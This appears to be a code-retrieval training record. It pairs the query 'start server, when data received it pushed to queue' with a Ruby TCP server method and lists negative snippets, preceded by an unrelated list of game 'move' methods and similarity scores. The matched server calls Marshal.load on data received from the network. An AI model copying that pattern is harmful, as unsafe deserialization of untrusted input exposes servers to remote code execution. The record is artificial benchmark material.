"def moveToggle()\n @moveToggle_duration = @w_moveToggle.animationSpeed\n if (@w_moveToggle.x != 300 && @w_moveToggle.y != 250)\n @w_moveToggle.moveTo(300, 250)\n else\n @w_moveToggle.moveTo(350, 300)\n end\n end",
"def move\n check_placement\n\n new_position = make_move(current_position, direction)\n position(new_position[0], new_position[1], @table.size)\n end",
"def moving!\n end",
"def moves\n # All pieces can stay in place\n [[0,0]]\n end",
"def move\n\t\treturn \"INVALID COMMANDS, YOU CAN NOT MAKE THE ROBOT FALL OFF THE TABLE\" unless is_valid_move?\n\t\tcase @direction\n\t\twhen \"east\"\n\t\t\t@x_coordinate += 1\n\t\twhen \"west\"\n\t\t\t@x_coordinate -= 1\n\t\twhen \"south\"\n\t\t\t@y_coordinate -= 1\n\t\twhen \"north\"\n\t\t\t@y_coordinate += 1\n\t\telse\n\t\tend\n\t\ttrue\n\tend",
"def move\n case @direction\n when \"NORTH\" then move_north\n when \"SOUTH\" then move_south\n when \"EAST\" then move_east\n when \"WEST\" then move_west\n end\n end",
"def move_right\n\t\tmove([1,0])\n\tend",
"def move(x,y)\n self.dup.move!(x,y)\n end",
"def position_for_next_harvest()\n turn_right()\n move()\n turn_right()\n end",
"def move_toward_beeper()\n if front_is_clear?()\n move()\n else\n turn_left()\n end\n end",
"def move_straight(step, x)\n comp(:position).add!(x * step)\n on_move\n end",
"def move\n puts \"The computer is playing...\".cyan\n sleep(0.5) #computer \"thinks\" for half a second, this seemed more realistic\n return if @game.game_over?\n space = (@game.available_moves & [1,3,5,7,9]).first\n if space.nil? \n space = @game.available_moves.first\n end\n @game.place_piece(space, @piece)\n end",
"def move!\n\t\tbounce! until !will_bounce? #TODO add surroundedness checking\n\t\t@x += @@target_coords[@direction][:dx]\n\t\t@y += @@target_coords[@direction][:dy]\n\tend",
"def move!(row, column, icon)\n @row, @column, @icon = row, column, icon\n\n make_move!\n end",
"def move_east\n @x += 1\n end",
"def move_left\n\t\tmove([-1,0])\n\tend",
"def move\n case @direction\n when \"N\"\n @y_coord += 1\n when \"S\"\n @y_coord -= 1\n when \"W\"\n @x_coord += 1\n when \"E\"\n @x_coord -= 1\n end\n end",
"def move(current_position, desired_square)\n board.move(current_position, desired_square, current_player)\n end",
"def move_dir d\n\t\tmove d.dir( @square)\n\tend",
"def moving?; @moving; end",
"def moving?; @moving; end",
"def move(direction)\n @position += direction\n end",
"def move\n @leading_x = coordinate_array[0]\n @leading_y = coordinate_array[1]\n end",
"def move_one begTile\n @maze.get_adjacent_tiles(begTile).each do |tile|\n if (tile.is_floor) && (!@tiles.include? tile)\n @tiles.push tile\n self.move_one tile\n end\n end\n end",
"def move\n @position.shift unless @growing\n case @direction\n when 'down'\n @position.push(new_coords(head[0], head[1] + 1))\n when 'up'\n @position.push(new_coords(head[0], head[1] - 1))\n when 'left'\n @position.push(new_coords(head[0] - 1, head[1]))\n when 'right'\n @position.push(new_coords(head[0] + 1, head[1]))\n end\n @growing = @turned = false\n end",
"def make_move(symbol, row, column)\n if(symbol != @@X_SYMBOL && symbol != @@O_SYMBOL)\n raise ArgumentError, \"symbol must either be an X or an O\"\n end\n\n if(@board[row][column] != @@X_SYMBOL && @board[row][column] != @@O_SYMBOL)\n @board[row][column] = symbol\n return true\n end\n return false\n end",
"def move_down\n\t\tmove([0,1])\n\tend",
"def move dir, target = nil, always_move = true\n\n\t\tstrf = \"#{ self } to #{ dir } => #{ target } - %s\"\n\t\t$logger.info { strf % [ 'entered' ] }\n\n\t\tnext_sq = square.neighbor(dir)\n\n\t\t$logger.info {\n\t\t\t\"dir #{ dir }, next_sq: #{ next_sq }, \" +\n\t\t\t\"can_pass: #{ can_pass? dir }; hole: #{ next_sq.hole?}\"\n\t\t}\n\n\t\tif dir == :STAY\n\t\t\tstay\n\t\t\t$logger.info { strf % [ 'staying' ] }\n\t\t\treturn true\n\t\t# If next square is a hole and not our target, we dont want to go there\n\t\telsif can_pass? dir and ( ( not target.nil? and next_sq == target ) or not next_sq.hole? )\n\t\t\t$logger.info { strf % [ 'passable' ] }\n\t\t\torder dir\n\t\t\treturn true\n\t\tend\n\n\t\tunless always_move\n\t\t\t$logger.info { strf % [ 'move failed' ] }\n\t\t\treturn false\n\t\telse\n\t\t\t$logger.info { strf % [ 'trying evasion' ] }\n\t\tend\n\n\n\t\tstr = \"\"\n\n\t\tif ( next_sq.ant? and not next_sq.ant.moved? ) or next_sq.moved_here?\n\n\t\t\t# if you got here, you know where you are going.\n\t\t\t# Don't initiate an evasion, either move to empty square or sit it out.\n\t\t\ttmp = square.passable_directions\n\n\t\t\t# Don't go back if you can help it\n\t\t\ttmp -= [ reverse( dir ) ]\n\t\t\tif tmp.empty?\n\t\t\t\tstay\n\t\t\telse\n\t\t\t\torder tmp[0]\n\t\t\tend\n\t\telse\n\n\t\t\t# Only use pathfinder on water squares\n\t\t\tunless next_sq.water?\n\t\t\t\t# Do regular evasion\n\t\t\t\tevade dir\n\t\t\t\t#stay\t- bad idea\n\t\t\t\treturn false\n\t\t\tend\n\n\t\t\tpath_finder = EvadePathFinder.new square, dir, @left\n\n\t\t\tdo_it = true\n\t\t\tunless target.nil?\n\t\t\t\tbest = path_finder.best_direction target\n\t\t\t\tif best.nil?\n\t\t\t\t\tstr = \"Have no path\"\n\t\t\t\t\tdo_it = false\n\t\t\t\telse\n\t\t\t\t\t@left = best\n\t\t\t\tend\n\t\t\tend\n\n\t\t\tif do_it\n\t\t\t\tevade_target = path_finder.move.straight_path\n\t\n\t\t\t\tif evade_target.nil?\n\t\t\t\t\t# Follow the regular evasion\n\t\t\t\t\tevade dir\n\t\t\t\telse\n\t\n\t\t\t\t\t# Take a shortcut to a point on the evasion path\n\t\t\t\t\tif set_order evade_target, :EVADE_GOTO, nil, true\n\t\n\t\t\t\t\t\t# Take the first step, since we are already committed\n\t\t\t\t\t\t# to moving.\n\t\t\t\t\t\tdir = path_finder.first_dir\n\t\t\t\t\t\tif not dir.nil? and square.neighbor(dir).passable?\n\t\t\t\t\t\t\torder dir\n\t\t\t\t\t\tend\n\t\t\t\t\t\tstr = \"taking shortcut through #{ dir }\"\n\t\t\t\t\telse\n\t\t\t\t\t\t# Fall back to regular evasion\n\t\t\t\t\t\tevade dir\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\n\t\t$logger.info { strf % [ str ] }\n\t\treturn false\n\tend",
"def move(x,y)\n @x +=x\n @y +=y\n end",
"def move_toward_player\n sx = @x - $game_player.x\n sy = @y - $game_player.y\n return if sx == 0 && sy == 0\n\n abs_sx = sx.abs\n abs_sy = sy.abs\n if abs_sx == abs_sy\n rand(2) == 0 ? abs_sx += 1 : abs_sy += 1\n end\n\n if abs_sx > abs_sy\n sx > 0 ? move_left : move_right\n unless moving? || sy == 0\n sy > 0 ? move_up : move_down\n end\n else\n sy > 0 ? move_up : move_down\n unless moving? || sx == 0\n sx > 0 ? move_left : move_right\n end\n end\n end",
"def move(board)\n end",
"def move(new_position)\n yield(new_position, self) if block_given?\n self.position = new_position\n self.moved = true\n nil\n end",
"def move!\n case @facing\n when Direction::NORTH\n @loc[:y] += 1 unless out_of_bounds? @loc[:x], @loc[:y] + 1\n when Direction::EAST\n @loc[:x] += 1 unless out_of_bounds? @loc[:x] + 1, @loc[:y]\n when Direction::SOUTH\n @loc[:y] -= 1 unless out_of_bounds? @loc[:x], @loc[:y] - 1\n when Direction::WEST\n @loc[:x] -= 1 unless out_of_bounds? @loc[:x] - 1, @loc[:y]\n else\n raise %q{Don't know which direction to move}\n end\n end",
"def move(forward)\n moves = [0, forward ? 1 : -1]\n moves.reverse! if @hor\n new_coord = @coord.add(moves + moves)\n set!(new_coord[0], new_coord[1], @hor)\n end",
"def move\n case self.direction\n when 'NORTH'\n self.y += 1 unless self.y == @table.y\n when 'EAST'\n self.x += 1 unless self.x == @table.x\n when 'SOUTH'\n self.y -= 1 unless self.y == 0\n when 'WEST'\n self.x -= 1 unless self.x == 0\n end\n end",
"def move\n request_animation_frame { move } if @mouse_is_down\n return if !@position || !@started\n trigger 'move', @position\n end",
"def make_move(row: , column: )\n symbol = current_symbol\n raise 'Round finished' if finished?\n raise 'Move already taken' if board(row: row, column: column) != '_'\n board_state[index_from_row_column(row, column)] = symbol\n self.update(board_state: board_state, current_player: next_player)\n end",
"def move!\n if placed?\n case orientation.to_sym\n when :NORTH then @y += 1 if valid_coordinates?(x, y + 1)\n when :EAST then @x += 1 if valid_coordinates?(x + 1, y)\n when :SOUTH then @y -= 1 if valid_coordinates?(x, y - 1)\n when :WEST then @x -= 1 if valid_coordinates?(x - 1, y)\n end\n nil\n else\n raise RobotSimulation::NotPlacedError, \"Robot has not been placed yet.\"\n end\n end",
"def move\n if inside_table?(next_move_x_y(next_move))\n update_position!(next_move_x_y(next_move))\n else\n almost_die\n end\n end",
"def move(y, x)\n update(y, x)\n apply_pos\n end",
"def move(y, x)\n Ncurses.wmove(pointer, y, x)\n end",
"def move()\n if @direction == \"up\"\n move_up()\n elsif @direction == \"down\"\n move_down()\n else\n #check if anyone is on current floor- which way do majority want to go from here?\n @direction = people_on_current_floor()\n if @direction == \"up\" #were more ppl on this floor wanting to go up\n move_up()\n elsif @direction == \"down\"\n move_down()\n else #no one on this floor, decide direction based on pending rqsts above and below...\n decide_direction()\n end\n end\n end",
"def move\n\t\t'moved passed'\n\tend",
"def move_piece(coord)\n @game.move_piece_to(coord)\n end",
"def moves\n # overridden in slideable/stepable modules\n end",
"def move\n\t\t# move 5px to the left\n\t @x = @x - 5\n\t # move up or down based on the Y velocity\n\t @y = @y + @vy\n\tend",
"def move (animal)\n dir = animal.dir\n x = animal.x\n y = animal.y\n if (dir >= 2 && dir < 5)\n animal.x = (x + 1) % WIDTH\n elsif (dir == 1 || dir == 5)\n animal.x = x % WIDTH\n else\n animal.x = (x - 1) % WIDTH\n end\n if (dir >= 0 && dir < 3)\n animal.y = (y - 1) % HEIGHT\n elsif (dir >= 4 || dir < 7)\n animal.y = (y + 1) % HEIGHT\n else\n animal.y = y % HEIGHT\n end\n animal.energy = animal.energy - 1\nend",
"def make_move!\n return false if get_cell_value(row, column).present?\n\n self.send cell_column(row, column, false), icon\n win? || drawn?\n\n self.save\n end",
"def move_piece(from, to)\n return move_piece_in_square(@board[from], @board[to])\n end",
"def move_piece(from, to)\n return move_piece_in_square(@board[from], @board[to])\n end",
"def move_by_one(order)\n case co_ordinates[2]\n when \"N\"\n co_ordinates[1] += order[1]\n when \"S\"\n co_ordinates[1] -= order[1]\n when \"E\"\n co_ordinates[0] += order[1]\n when \"W\"\n co_ordinates[0] -= order[1]\n end\n puts \"move_by_one: co_ordinates = #{co_ordinates}\"\n end",
"def make_move(square,char)\n @win_vecs[(square-1)/3].squares[(square-1)%3].fill=char\n end",
"def move_up_left\n i = 1\n until false\n x, y = @pos\n x -= i\n y -= i\n pos = [x, y]\n break if x > 7 || x < 0 || y > 7 || y < 0 || @board[pos].color == @color\n @moves << pos\n break if @board[pos].color != @color\n i += 1\n end\n end",
"def move\n case @current_rotation\n when ToyEnums::NORTH\n @position_y +=1\n when ToyEnums::SOUTH\n @position_y -=1\n when ToyEnums::EAST\n @position_x +=1\n when ToyEnums::WEST\n @position_x -=1\n else\n\n end\n end",
"def move\n return false unless on_the_table?\n\n next_x, next_y = facing.next_move_position(x, y)\n unless falls_off?(next_x, next_y)\n self.x = next_x\n self.y = next_y\n true\n else\n false\n end\n end",
"def move_left\n # @dx = -8\n @x -= 8\n end",
"def initiate_move(input)\n from_sq = board.squares[input[0]]\n to_sq = board.squares[input[1]]\n\n piece = from_sq.value\n\n piece.move(to_sq)\n end",
"def move\n check_placed\n new_position = case facing\n when :north then @position.inc_y\n when :south then @position.dec_y\n when :east then @position.inc_x\n when :west then @position.dec_y\n end\n check_position(new_position)\n @position = new_position\n end",
"def moves\n end",
"def move\n case @direction\n when \"N\"\n @coord_y += 1\n when \"S\"\n @coord_y -= 1\n when \"E\"\n @coord_x += 1\n else\n @coord_x -= 1\n end #end of case\nend",
"def forward_move\n case @facing\n when 'NORTH'\n @y += 1\n when 'SOUTH'\n @y -= 1\n when 'EAST'\n @x += 1\n when 'WEST'\n @x -= 1\n end\n self\n end",
"def do_move()\n\n loop do\n # prompt or retreive for initial position\n if @first_move\n initialPos = prompt_for_postion(\"[#{@name}] Initial position: \")\n else\n initialPos = @last_location\n end\n\n # prompt for new position\n newPos = prompt_for_postion(\"[#{@name}] New position: \")\n\n # complete action using positions\n action = @current_board.action(newPos, initialPos, @colour)\n\n # respond to action result\n case (action)\n when :E, :P\n @first_move = true\n @last_location = [0,0]\n return action\n when :A, :W\n @last_location = newPos\n @first_move = false\n return action\n end\n end\n end",
"def move x, y\n put x, y # FIXME\n end",
"def move_to(pos)\n if (@current_pos != nil && @current_pos == pos)\n return\n end\n if pos == 5\n self.x = (Graphics.width - self.width) / 2\n self.y = (Graphics.height - self.height) / 2\n end\n if [1, 2, 3].include?(pos)#bottom\n self.y = Graphics.height - self.height\n if @win_help != nil\n self.y -= @win_help.height\n end\n end\n if [1, 4, 7].include?(pos)#left\n self.x = 0\n end\n if [7, 8, 9].include?(pos)#top\n self.y = 0\n end\n if [3, 6, 9].include?(pos)#right\n self.x = Graphics.width - self.width\n end\n @current_pos = pos\n end",
"def move(player, x, y)\n\n end",
"def move(x,y=@y)\r\n @x2=x+(@x2-@x1)\r\n @y2=y+(@y2-@y1)\r\n @y1=y\r\n @x1=x\r\n end",
"def move(amount)\n case direction\n when :up\n @position_y -= amount\n when :down\n @position_y += amount\n when :left\n @position_x -= amount\n when :right\n @position_x += amount\n else\n throw ArgumentError.new\n end\n end",
"def move(amount)\n case direction\n when :up\n @position_y -= amount\n when :down\n @position_y += amount\n when :left\n @position_x -= amount\n when :right\n @position_x += amount\n else\n throw ArgumentError.new\n end\n end",
"def go!\n send_position_to_engine\n move_piece(bestmove)\n end",
"def move(space)\n @board.move(@current_player, space)\n @state = \n if @board.winning?\n :win\n elsif @board.full?\n :draw\n else\n @current_player = @current_player.opponent\n :continue\n end\n rescue InvalidSpaceException\n :continue\n end",
"def move\n start_show_thinking\n @board.move(best_moves.first)\n stop_show_thinking\n board.last_move\n end",
"def W\r\n move_method(3) \r\nend",
"def move pos\n new_board = nil\n next_player = @current_player == :x ? :o : :x\n new_board = @board.make_move @current_player, pos\n State.new new_board, next_player, @computer_player\n end",
"def move?\n @moving\n end",
"def move # takes (x, y, direction) from Rover\n\t\tif direction == \"N\"\n\t\t\t@y += 1\n\t\telsif direction == \"W\"\n\t\t\t@x -= 1\n\t\telsif direction == \"S\"\n\t\t\t@y -= 1\n\t\telsif direction == \"E\"\n\t\t\t@x += 1\n\t\telse \n\t\t\treturn \"The input direction enterned is wrong\"\n\t\tend\n\tend",
"def move\n\t\t@x += 0\n\t\t@y += @vel\n\tend",
"def walk\n if @headed_left\n move_left\n else\n move_right\n end\n end",
"def move(board, row, col, direction)\n\n return unless direction\n\n case direction\n when :UP\t then board[row-1][col] = board[row][col]\n when :DOWN\tthen board[row+1][col] = board[row][col]\n when :LEFT\tthen board[row][col-1] = board[row][col]\n when :RIGHT\tthen board[row][col+1] = board[row][col]\n end\n\n board[row][col] = nil\n end",
"def move_to(element, right_by = nil, down_by = nil)\n assert_element element\n\n @bridge.mouseMoveTo element.ref, Integer(right_by), Integer(down_by)\n end",
"def set_move(player, square_number)\n board_iterate do |element, row, col|\n @board[row][col] = player.piece if element == square_number\n end\n end"
] |
[
"0.7189829",
"0.7043522",
"0.70141757",
"0.69395417",
"0.6904383",
"0.6904383",
"0.68614054",
"0.6852561",
"0.6852561",
"0.6840791",
"0.68325526",
"0.68153256",
"0.6808262",
"0.67724425",
"0.6761426",
"0.6752897",
"0.67108047",
"0.6705584",
"0.6634333",
"0.6581305",
"0.6580755",
"0.6578791",
"0.6574313",
"0.6549606",
"0.65488505",
"0.654157",
"0.65399605",
"0.6521982",
"0.6521717",
"0.65173006",
"0.64943916",
"0.6481958",
"0.6477145",
"0.64750403",
"0.64737034",
"0.6470666",
"0.6463572",
"0.6459033",
"0.6456503",
"0.6450856",
"0.6450856",
"0.6426028",
"0.64242303",
"0.6419922",
"0.6412581",
"0.6393287",
"0.6391486",
"0.6389611",
"0.63818264",
"0.6381779",
"0.6377612",
"0.6374868",
"0.6372144",
"0.6362866",
"0.636057",
"0.63579637",
"0.63572305",
"0.6345613",
"0.63449377",
"0.63303304",
"0.6329305",
"0.6321351",
"0.6312257",
"0.62931424",
"0.62918556",
"0.6282146",
"0.6278219",
"0.62770116",
"0.62759894",
"0.62759894",
"0.62710166",
"0.62707007",
"0.62698835",
"0.62654907",
"0.626111",
"0.6260017",
"0.6243329",
"0.62370557",
"0.623693",
"0.6234533",
"0.62261945",
"0.6225878",
"0.6225171",
"0.62234235",
"0.62213707",
"0.621945",
"0.62131184",
"0.62131184",
"0.62112904",
"0.6210369",
"0.6206541",
"0.62043405",
"0.6199441",
"0.6195967",
"0.61938494",
"0.61894035",
"0.6185211",
"0.6182205",
"0.6175125",
"0.6164972"
] |
0.64437324
|
41
|
start server, when data received it pushed to queue
|
def run (queue)
loop do
@LOG.debug "waiting on #{@port_num}"
Thread.start(@server.accept) do |client|
addr = client.addr
addr.shift # removes "AF_INET"
@LOG.info("accept connection addr: #{addr.join(":")}")
peer_addr = client.peeraddr
peer_addr.shift # removes "AF_INET"
@LOG.debug("connected to peer: #{peer_addr.join(":")}")
while size = client.recv(4).unpack("l")[0]
@LOG.debug "begin receiving data with size #{size}"
data = client.recv(size)
unmarshaled_data = Marshal.load(data)
@LOG.debug "data received (#{unmarshaled_data})"
queue.push unmarshaled_data
end
@LOG.info "connection #{peer_addr.join(":")} is closed by other side"
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def start\n # subscribe is like a callback\n @server_queue.subscribe(block: @block) do |delivery_info, properties, payload|\n consume(delivery_info, properties, payload)\n end\n end",
"def run\n @connection.queue do |queue|\n puts(\"Server started. Broadcasting to queue: “#{queue.name}”.\")\n\n loop do\n message = $stdin.gets.chomp\n queue.broadcast(message.to_json)\n rescue Interrupt\n return\n end\n end\n end",
"def start\n @server = TCPServer.open(@hostname, @port)\n loop do\n Thread.new(@server.accept) do |client|\n while message = client.gets\n fmp = ForeignMessageParser.new(message)\n Mailbox.append(fmp.to_event) if fmp.got_valid_message?\n end\n client.close\n end\n end\n end",
"def run\n @connection.queue do |queue|\n puts(\"Client started. Listening on queue “#{queue.name}”.\")\n begin\n queue.listen do |message|\n puts(message)\n end\n rescue Interrupt\n return\n end\n end\n end",
"def queue_server\n Thread.new do\n serv = CONFIG[\"use_unixsock\"] ? UNIXServer.new(CONFIG[\"sockpath\"]) : TCPServer.new(\"localhost\", (CONFIG[\"tcpport\"] || 10751))\n\n begin\n FileUtils.chmod(0666, CONFIG[\"sockpath\"]) if CONFIG[\"use_unixpath\"]\n while s = serv.accept\n id = SecureRandom.uuid\n begin\n json = s.read\n File.open(\"#{CONFIG[\"spooldir\"]}/queue/#{id}.json\", \"w\") do |f|\n f.write json\n end\n @queue.push id\n ensure\n s.close\n end\n end\n ensure\n serv.close\n File.delete CONFIG[\"sockpath\"] if CONFIG[\"use_unixsock\"]\n end\n end\n end",
"def run\n # Connect to Redis\n @redis_client = Redis.new(:host => @redis_host, :port => @redis_port, \n :db => @redis_db)\n # Start listening for items that show up on the queue.\n process_queue\n end",
"def start_server\n loop do\n socket = @server.accept\n @pool.post do\n request = socket.gets\n unless request.nil?\n response = fetch_data(request)\n socket.print build_response(response)\n socket.print \"\\r\\n\"\n socket.print response[:message]\n end\n socket.close\n end\n end\n end",
"def start()\n #start listening\n @transport.monitor do |rmsg,header,payload|\n consume(rmsg,header,payload)\n end\n end",
"def start\n # Synchronous (mutual exclusion) message processing is handled by a\n # producer-consumer approach. The socket pushes messages onto this queue,\n # which are processed by a consumer thread one at a time.\n @messages = Queue.new\n @message_consumer = Thread.new do\n loop do\n meths = @messages.pop\n begin\n meths.each { |meth, args| broadcast_sync meth, *args }\n rescue\n options[:logger].error $!\n end\n end\n end\n \n @socket = connect\n username = @options[:user]\n username ||= @nick\n realname = @options[:name]\n realname ||= @nick\n \n pass @options[:server_password] if @options[:server_password]\n user username, @nick, @nick, realname\n nick @nick\n \n while line = @socket.gets\n meths = receive line # parse the line and get a list of methods to call\n @messages.push meths # push the methods on the queue; the consumer thread will execute all the synchronous methods\n # then execute all the other methods in their own thread\n meths.each { |meth, args| broadcast meth, *args }\n end\n end",
"def start\n loop do\n begin\n socket = tcp_server.accept\n\n handle_request(socket)\n ensure\n socket.close\n end\n end\n end",
"def run\n loop do\n Thread.start(server.accept) do |client|\n begin\n ServerThread.new(client,@job_queue).run\n rescue Exception => e\n STDERR.puts \"A server thread has encountered an exception:\"\n STDERR.puts \"--------------------------------\"\n STDERR.puts e.message\n STDERR.puts e.backtrace\n STDERR.puts \"--------------------------------\"\n end\n end\n end\n end",
"def listen\n connect do\n routes.each do |queue|\n @client.subscribe(queue) do |args|\n run(queue, args)\n end\n end\n end\n while (!Thread.current[:shutdown]) do\n sleep(self.class.sleep_time)\n end\n end",
"def setup_queue_listener\n service_queue.subscribe(:block => true) do |info, properties, payload|\n log.debug \"Received message: #{payload}...\"\n @return_info = nil\n rpc_wrapper.call { process(info, properties, payload) }\n end\n end",
"def listen\n while true\n data = $BLIX_REQUEST.pop\n response = do_handle(body)\n if response\n puts \"[DummyServer] response: data=#{data}, options=#{options}\" if $DEBUG\n $BLIX_RESPONSE.push(data)\n end\n end\n end",
"def run\n loop do\n #Kernel.exit\n if @workQ.size < (@pool_size-1)\n Thread.start(@fileServer.accept) do | client |\n @workQ.push 1\n message_handler(client)\n @workQ.pop(true)\n end\n else\n # if thread pool is full\n sleep 5 \n client.close\n end\n end\n end",
"def start_async\n while c = @serv.accept\n Thread.start do\n begin\n @threads << Thread.current\n l = Mutex.new\n loop do\n begin\n x = Dr2.read(c, [Dr2::Types::Message,\n Dr2::Types::Error])\n Thread.start {\n begin\n @threads << Thread.current\n receive x, c, l\n ensure\n l.unlock rescue nil if l.locked?\n @threads.delete Thread.current\n end\n }\n rescue Dr2::Types::EOFException\n break\n rescue Dr2::Types::QuitException\n break\n rescue Exception\n l.synchronize { Dr2.write(c, $!) }\n end\n end\n ensure\n c.close rescue nil\n @threads.delete Thread.current\n end\n end\n end\n end",
"def start\n\t\tloop do\n\t\t\t@client = @server.accept # Wait for a client to connect\n\t\t\t@client.sendmsg \"220 ready\\r\\n\" # 220 - the server is ready\n\n\t\t\t# authentication (we assume that the client does this correctly)\n\t\t\t@user = @client.gets.gsub(\"\\r\\n\", \"\") # => USER\n\t\t\t@client.sendmsg \"331\\r\\n\" # => USER ok\n\n\t\t\t@pass = @client.gets.gsub(\"\\r\\n\", \"\") # => PASS\n\t\t\t@client.sendmsg \"230\\r\\n\" # => PASS ok\n\n\t\t\twhile req = @client.gets\n\t\t\t\treq.gsub!(\"\\r\\n\", \"\")\n\n\t\t\t\t# XXX not really needed since no QUIT signal is sent by FCP\n\t\t\t\tif req == \"QUIT\"\n\t\t\t\t\t@client.sendmsg \"221\\r\\n\" # => QUIT ok, bye!\n\t\t\t\t\t@client.close\n\t\t\t\t\t@client = nil\n\t\t\t\t\tbreak\n\t\t\t\tend\n\n\t\t\t\ttmp = req.split(\" \")\n\t\t\t\tcmd, args = tmp[0], tmp[1..tmp.length-1]\n\n\t\t\t\tif !SUPPORTED_CMD.include?(cmd)\n\t\t\t\t\t@client.sendmsg \"500\\r\\n\"\n\t\t\t\t\tnext\n\t\t\t\tend\n\n\t\t\t\tself.__send__(\"cmd_#{cmd.downcase}\", args)\n\t\t\tend\n\t\tend\n\tend",
"def run\n loop{\n @client = @server.accept\n @serverPool.schedule(@client)\n }\n end",
"def run\n loop{\n @client = @server.accept\n @serverPool.schedule(@client)\n }\n end",
"def startServer()\n\tserver = TCPServer.open($ports[$hostname])\n\tloop {\n\t\tThread.start(server.accept) do |client|\n\t \treceiveMessage(client)\n\t\tend\n\t}\nend",
"def start\r\n @thread = Thread.new {\r\n @server.connect\r\n @proto.fire_pseudo(:connect, {address: @server.address?, port: @server.port?})\r\n protos = @server.read\r\n while protos != nil && @halt != true\r\n protos.each do |proto|\r\n Log::write \"<= \" + proto\r\n @proto.parse_proto(proto)\r\n end\r\n protos = @server.read\r\n end\r\n }\r\n end",
"def start\n\n # load config files\n @httpd_conf.load \n @mimes.load\n # initialze logger \n logger = Logger.new(@httpd_conf.logfile) \n Thread.abort_on_exception=true\n \n loop do\n puts \"Opening server socket to listen for connections\"\n\n # handle incoming request\n Thread.start(server.accept) do |client|\n worker = Worker.new(client,@httpd_conf,@mimes,logger) \n worker.handle_request\n end\n end\n\n end",
"def start_listening\n\t\t@socket = UDPSocket.new\n\t\t@socket.bind(@info.host, @info.port)\n\t\twhile true\n\t\t\ttext, sender = @socket.recvfrom(1024)\n\n\t\t\t\targuments = Marshal.load(text)\n\t\t\t\tmsg_type = arguments.shift\n\t\t\t\t\n\t\t\t\tputs \"Received msg: #{msg_type}, #{arguments} from remote #{sender}\"\n\n\t\t\t\tif msg_type == \"GET\"\n\t\t\t\t\tkey, port = arguments\n\t\t\t\t\tget(key.to_i, sender[3], port)\n\t\t\t\telsif msg_type == \"PUT\"\n\t\t\t\t\tkey, value = arguments\n\t\t\t\t\tput(key.to_i, value)\n\t\t\t\telsif msg_type == \"PING\"\n\t\t\t\t\tnode = arguments.first\n\t\t\t\t\tsend_message [\"OK\"], 0, node.host, node.port\n\t\t\t\telsif msg_type == \"OK\"\n\t\t\t\t\t@waiting = false\n\t\t\t\telsif msg_type == \"NEW_NODE\"\n\t\t\t\t\tnew_node_info = arguments.first\n\t\t\t\t\tnew_network_node(new_node_info)\n\t\t\t\telsif msg_type == \"ADD_NODE\"\n\t\t\t\t\tinfo = arguments.first\n\t\t\t\t\t@neighbour_nodes << info\n\t\t\t\telsif msg_type == \"DROP_NODE\"\n\t\t\t\t\tinfo = arguments\n\t\t\t\t\tto_delete = @neighbour_nodes.select { |n| n.host == info.host and n.port == info.port}\n\t\t\t\t\t@neighbour_nodes - to_delete\n\t\t\t\telsif msg_type == \"RESOURCE_TABLE\"\n\t\t\t\t\t@resource_table = arguments.first\n\t\t\t\telsif msg_type == \"ADD_RESOURCE\"\n\t\t\t\t\tresource = arguments.first\n\t\t\t\t\t@resource_table.merge!(resource)\n\t\t\t\t\tputs \"#{resource.to_a}\"\n\t\t\t\t\tputs \"#{request_queue}\"\n\t\t\t\t\tresolve_queue(resource.to_a[0][0])\n\t\t\t\tend \n\t\tend\n\tend",
"def start!\n \t@initial_queue = Dispatch::Queue.current\n event :start\n end",
"def start\n channel.prefetch(10)\n queue.subscribe(manual_ack: true, exclusive: false) do |delivery_info, metadata, payload|\n begin\n body = JSON.parse(payload).with_indifferent_access\n status = run(body)\n rescue => e\n status = :error\n end\n\n if status == :ok\n channel.ack(delivery_info.delivery_tag)\n elsif status == :retry\n channel.reject(delivery_info.delivery_tag, true)\n else # :error, nil etc\n channel.reject(delivery_info.delivery_tag, false)\n end\n end\n\n wait_for_threads\n end",
"def start\n subscribe &Proc.new { |message| listener(message) }\n end",
"def amqp_listen\n @listener = \"client.#{::Kernel.rand(999_999_999_999)}\"\n Thread.new(self) do \n AMQP.start(:host => @host) do\n _notify = MQ.fanout(@x_notify)\n puts \"[amqp_listen] starting listener on #{Thread.current}\" if $DEBUG\n MQ.queue(@listener, :auto_delete => true).bind(_notify).subscribe{ |msg| yield msg }\n end \n end\n end",
"def start\n while listen\n # Loop for-ev-er\n end\n end",
"def run\n AMQP.start(:host => \"localhost\") {\n @mq = MQ.new\n @update_channel = EM::Channel.new\n @deferred_responses = {}\n\n @queue_name = \"cmdr:websocket:#{self.object_id}\"\n @queue = @mq.queue(@queue_name)\n \n # watch for responses from devices\n @queue.subscribe{|json|\n msg = JSON.parse(json)\n puts \"Got response: #{msg}\"\n if @deferred_responses[msg[\"id\"]]\n @deferred_responses.delete(msg[\"id\"]).succeed(msg)\n end\n }\n\n topic = @mq.topic(EVENT_TOPIC)\n @mq.queue(\"cmdr:websocket:#{self.object_id}:response\").bind(topic, :key => \"device.*\").subscribe do |json|\n handle_event json\n end\n\n setup\n\n EM::WebSocket.start({\n :host => \"0.0.0.0\",\n :port => 8000,\n :debug => false\n #:secure => true \n }) do |ws|\n\n ws.onopen { onopen ws }\n \n ws.onmessage {|json| onmessage ws, json}\n \n ws.onclose do\n @update_channel.unsubscribe(@sid) if @sid\n DaemonKit.logger.debug \"Connection on #{ws.signature} closed\"\n end\n\n ws.onerror do\n DaemonKit.logger.debug \"Error on #{ws.signature}\"\n end\n end\n }\n end",
"def start_server\n @watchman = Thread.new {\n while !@stopped\n @pool_mutex.synchronize\n socket = @server.accept\n @pool << Thread.new(socket) {|socket|\n serve(socket)\n }\n end \n }\n end",
"def enqueue_from_server\n @writter = Thread.new do \n while @online\n begin\n if @socket.eof?\n @socket.close\n puts \"Server is down, please press quit\"\n break\n end\n msg = @socket.gets.chop\n if msg =~ /Advice from channel/ \n @advices << msg\n else\n msg = \"=> #{msg}\"\n @response << msg\n end\n rescue => e\n puts \"Error writter Thread #{e}\"\n end\n end\n end\n end",
"def run\n srv = if self.path\n UNIXServer.new(path)\n else\n TCPServer.new(host, port)\n end\n\n loop do\n io = accept_connection(srv)\n\n begin\n data = receive_data(io)\n send_data(io, handle_data(io, data)) if data\n rescue\n raise 'Connection reset by peer' if config[:debug] && io.closed?\n ensure\n io.close rescue nil\n GC.start if config[:run_gc_per_request]\n end\n end\n end",
